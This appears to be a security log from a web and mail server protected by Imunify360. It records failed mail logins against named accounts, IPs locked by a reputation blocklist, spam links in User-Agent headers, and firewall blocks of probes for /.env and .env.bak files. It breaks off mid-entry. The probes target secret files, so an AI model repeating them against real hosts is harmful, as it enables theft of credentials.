2026-07-25 05:31:44 dovecot_login authenticator failed for H=kd113158205225.ppp-bb.dion.ne.jp (111-70-32-2.emome-ip.hinet.net) [113.158.205.225]:34883: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.135.228.28
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:05-31.45.135.228.28||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 25 05:31:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.105.128.185
country_id: 1814991
description:
Jul 25 05:31:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.105.128.185 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.122
country_id: 1269750
description:
2026-07-25 05:31:57 dovecot_login authenticator failed for H=([183.71.251.66]) [128.185.253.122]:45468: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.196.37.197
country_id: 1814991
description:
Jul 25 05:31:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.196.37.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.185.253.122
country_id: 1269750
description:
Jul 25 05:31:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.185.253.122 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.158.205.225
country_id: 1861060
description:
Jul 25 05:31:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.158.205.225 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 81.28.13.159
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:05-32.81.28.13.159||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.167.58
country_id: 6252001
description:
Jul 25 05:32:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.167.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.242.203
country_id: 1814991
description:
Jul 25 05:32:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.242.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.126.105.42
country_id: 3469034
description:
2026-07-25 05:34:10 dovecot_login authenticator failed for H=187-126-105-42.user.vtal.net.br ([211.116.107.222]) [187.126.105.42]:44868: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 25 05:34:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.130.76.154
country_id: 1814991
description:
Jul 25 05:33:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.130.76.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.163.8.64
country_id: 1814991
description:
Jul 25 05:33:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.163.8.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 108.174.146.197
country_id: 3469034
description:
Jul 25 05:34:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 108.174.146.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.126.105.42
country_id: 3469034
description:
Jul 25 05:34:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.126.105.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.7
country_id: 130758
description:
Jul 25 05:34:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.7 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.208.46.130
country_id: 1522867
description:
2026-07-25 05:34:35 dovecot_login authenticator failed for H=([182.79.151.121]) [37.208.46.130]:59240: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.212.241.100
country_id: 2017370
description:
Jul 25 05:34:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.212.241.100 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.212.241.100
country_id: 2017370
description:
2026-07-25 05:34:59 dovecot_login authenticator failed for H=(c188-150-230-190.bredband.tele2.se) [176.212.241.100]:48987: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.82.14.214
country_id: 2750405
description:
Jul 25 05:34:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.82.14.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.82.14.214
country_id: 2750405
description:
2026-07-25 05:34:27 dovecot_login authenticator failed for H=84-82-14-214.fixed.kpn.net (net-85-173-96-230.kbrnet.ru) [84.82.14.214]:45186: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.99.240.181
country_id: 2921044
description:
Jul 25 05:34:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.99.240.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.69.141.98
country_id: 2921044
description:
Jul 25 05:34:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.69.141.98 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.250.200.4
country_id: 2245662
description:
Jul 25 05:34:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.250.200.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.106.223.170
country_id: 1814991
description:
Jul 25 05:34:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.106.223.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.88.56.201
country_id: 6252001
description:
Jul 25 05:34:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.88.56.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.33.249.217
country_id: 1814991
description:
Jul 25 05:35:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.33.249.217 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 185.155.233.240
country_id: 174982
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.ra2ej.com/%D8%B9%D9%85%D8%B1-%D9%83%D8%B1%D9%8A%D9%85%D9%84%D9%8A%D9%81-%D9%88%D8%A5%D8%B5%D9%84%D8%A7%D8%AD%D8%A7%D8%AA-%D8%A7%D9%84%D9%85%D9%84%D8%A7%D9%83%D9%85%D8%A9-%D8%A7%D9%84%D9%85%D8%B9%D8%A7%D9%8A%D9%8A%D8%B1-%D8%A7%D9%84%D8%AC%D9%86%D8%AF%D8%B1%D9%8A%D8%A9-%D9%88%D8%B3%D9%84%D8%A7%D9%85%D8%A9-%D8%A7%D9%84%D8%B1%D9%8A%D8%A7%D8%B6%D9%8A%D8%A7%D8%AA-873057.html\">umar kremlev kimdir</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.152.165.117
country_id: 1562822
description:
Jul 25 05:36:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.152.165.117 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.59.167.172
country_id: 2635167
description:
Jul 25 05:35:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.59.167.172 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.42
country_id: 130758
description:
Jul 25 05:35:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.116.233.132
country_id: 1269750
description:
Jul 25 05:35:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.116.233.132 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.68.52.210
country_id: 1269750
description:
2026-07-25 05:36:50 dovecot_login authenticator failed for H=(76.pool90-160-117.dynamic.orange.es) [103.68.52.210]:58748: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.219.70.92
country_id: 130758
description:
Jul 25 05:36:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.219.70.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.178.251.73
country_id: 3017382
description:
Jul 25 05:36:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.178.251.73 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.28.215
country_id: 1269750
description:
2026-07-25 05:37:03 dovecot_login authenticator failed for H=([59.11.0.20]) [49.206.28.215]:6271: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.178.146.133
country_id: 1814991
description:
Jul 25 05:36:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.178.146.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jul 25 05:36:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.68.52.210
country_id: 1269750
description:
Jul 25 05:36:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.68.52.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.161.12.247
country_id: 1562822
description:
Jul 25 05:37:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.161.12.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.132.215.237
country_id: 1819730
description:
Jul 25 05:37:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.132.215.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.254
country_id: 3175395
description:
Jul 25 05:37:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.254 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.62
country_id: 130758
description:
Jul 25 05:38:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.98.28
country_id: 1814991
description:
Jul 25 05:38:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.98.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.72.235.191
country_id: 2017370
description:
2026-07-25 05:38:40 dovecot_login authenticator failed for H=78da6e9876c8.mldns.ru ([180.94.75.122]) [109.72.235.191]:52527: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.66.155.73
country_id: 1880251
description:
Jul 25 05:39:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.66.155.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.150.230.190
country_id: 2661886
description:
Jul 25 05:38:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.150.230.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.150.230.190
country_id: 2661886
description:
2026-07-25 05:38:27 dovecot_login authenticator failed for H=c188-150-230-190.bredband.tele2.se ([125.61.5.74]) [188.150.230.190]:47262: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.72.235.191
country_id: 2017370
description:
Jul 25 05:38:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.72.235.191 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.57.200.119
country_id: 1835841
description:
Jul 25 05:39:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.57.200.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.92.198.75
country_id: 2921044
description:
Jul 25 05:39:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.92.198.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 161.132.42.84
country_id: 3932488
description:
Jul 25 05:38:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 161.132.42.84 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.241.107.63
country_id: 2017370
description:
2026-07-25 05:39:55 dovecot_login authenticator failed for H=host-46-241-107-63.bbcustomer.zsttk.net ([178.244.215.186]) [46.241.107.63]:51591: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.70
country_id: 130758
description:
Jul 25 05:40:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.163.215.131
country_id: 1562822
description:
Jul 25 05:39:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.163.215.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.72
country_id: 130758
description:
Jul 25 05:39:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.72 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.196.220.240
country_id: 1814991
description:
Jul 25 05:40:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.196.220.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.37
country_id: 130758
description:
Jul 25 05:39:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.241.107.63
country_id: 2017370
description:
Jul 25 05:39:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.241.107.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.207.66.154
country_id: 6251999
description:
Jul 25 05:40:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.207.66.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.207.66.154
country_id: 6251999
description:
2026-07-25 05:40:26 dovecot_login authenticator failed for H=host-24-207-66-154.public.eastlink.ca (ip-104-37-133-100.hosts.zerolag.com) [24.207.66.154]:54748: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.173.17.17
country_id: 1814991
description:
Jul 25 05:40:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.173.17.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.23
country_id: 130758
description:
Jul 25 05:41:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.66.197.199
country_id: 2661886
description:
Jul 25 05:40:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.66.197.199 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 148.170.156.248
country_id: 6251999
description:
2026-07-25 05:40:41 dovecot_login authenticator failed for H=host-148-170-156-248.public.eastlink.ca ([123.118.230.64]) [148.170.156.248]:54840: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.223.38.27
country_id: 1814991
description:
Jul 25 05:40:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.223.38.27 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.66.197.199
country_id: 2661886
description:
2026-07-25 05:40:18 dovecot_login authenticator failed for H=213-66-197-199-no2550.tbcn.telia.com ([121.128.84.224]) [213.66.197.199]:52930: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 163.172.60.23
country_id: 3017382
description:
Jul 25 05:41:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 163.172.60.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.42.7.20
country_id: 1814991
description:
Jul 25 05:41:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.42.7.20 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.245.236.231
country_id: 1562822
description:
Jul 25 05:42:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.245.236.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.106.104.25
country_id: 1562822
description:
Jul 25 05:42:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.106.104.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.61.54.90
country_id: 1814991
description:
Jul 25 05:43:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.61.54.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 135.125.107.224
country_id: 3017382
description:
Jul 25 05:43:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 135.125.107.224 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.161.242.168
country_id: 1835841
description:
Jul 25 05:44:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.161.242.168 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.254.25.63
country_id: 6252001
description:
Jul 25 05:44:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.254.25.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.160.244.105
country_id: 1880251
description:
Jul 25 05:43:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.160.244.105 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=1biap9g1&v=1bgj9||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=ix9x58j0&v=aqlnt||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.68.187.218
country_id: 6252001
description:
Jul 25 05:44:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.68.187.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.25.94.199
country_id: 1814991
description:
Jul 25 05:44:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.25.94.199 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.25.94.199
country_id: 1814991
description:
2026-07-25 05:44:27 dovecot_login authenticator failed for H=([24.249.199.9]) [218.25.94.199]:47050: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://unblocked-games-76-77.s3.amazonaws.com/index.html\">unblocked games 76</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.68.187.218
country_id: 6252001
description:
2026-07-25 05:44:53 dovecot_login authenticator failed for H=(nsg-corporate-152.227.187.122.airtel.in) [66.68.187.218]:33266: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.251.143.14
country_id: 1269750
description:
Jul 25 05:45:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.251.143.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-07-25 05:45:45 dovecot_login authenticator failed for H=([61.80.161.172]) [103.251.143.14]:39856: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 206.189.39.63
country_id: 1880251
description:
Jul 25 05:45:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 206.189.39.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.28
country_id: 130758
description:
Jul 25 05:45:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.113
country_id: 130758
description:
Jul 25 05:45:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.113 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.production?_=scjsg6jx&v=ejvzv||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.bak?_=1chee36m&v=f6jll||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.174.89.99
country_id: 3469034
description:
2026-07-25 05:46:43 dovecot_login authenticator failed for H=(37-128-240-47.dynamic.customer.lanta-me.ru) [177.174.89.99]:49774: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.57.223.70
country_id: 1562822
description:
Jul 25 05:47:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.57.223.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.153.86.250
country_id: 3469034
description:
2026-07-25 05:46:52 dovecot_login authenticator failed for H=([118.69.134.243]) [200.153.86.250]:39690: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.128.84.224
country_id: 1835841
description:
Jul 25 05:46:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.128.84.224 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.210.73.33
country_id: 3469034
description:
2026-07-25 05:46:29 dovecot_login authenticator failed for H=([98.178.72.4]) [191.210.73.33]:39365: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.199.84.37
country_id: 1819730
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:05-47.91.199.84.37||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.210.73.33
country_id: 3469034
description:
Jul 25 05:46:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.210.73.33 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.153.86.250
country_id: 3469034
description:
Jul 25 05:46:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.153.86.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.174.89.99
country_id: 3469034
description:
Jul 25 05:46:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.174.89.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.191.157
country_id: 1819730
description:
Jul 25 05:47:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.191.157 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.172.239.193
country_id: 3017382
description:
2026-07-25 05:46:16 dovecot_login authenticator failed for H=sed08-h03-176-172-239-193.dsl.sta.abo.bbox.fr ([98.181.137.69]) [176.172.239.193]:50062: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.128.84.224
country_id: 1835841
description:
2026-07-25 05:46:17 dovecot_login authenticator failed for H=(wsip-184-178-172-10.rn.hr.cox.net) [121.128.84.224]:38676: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
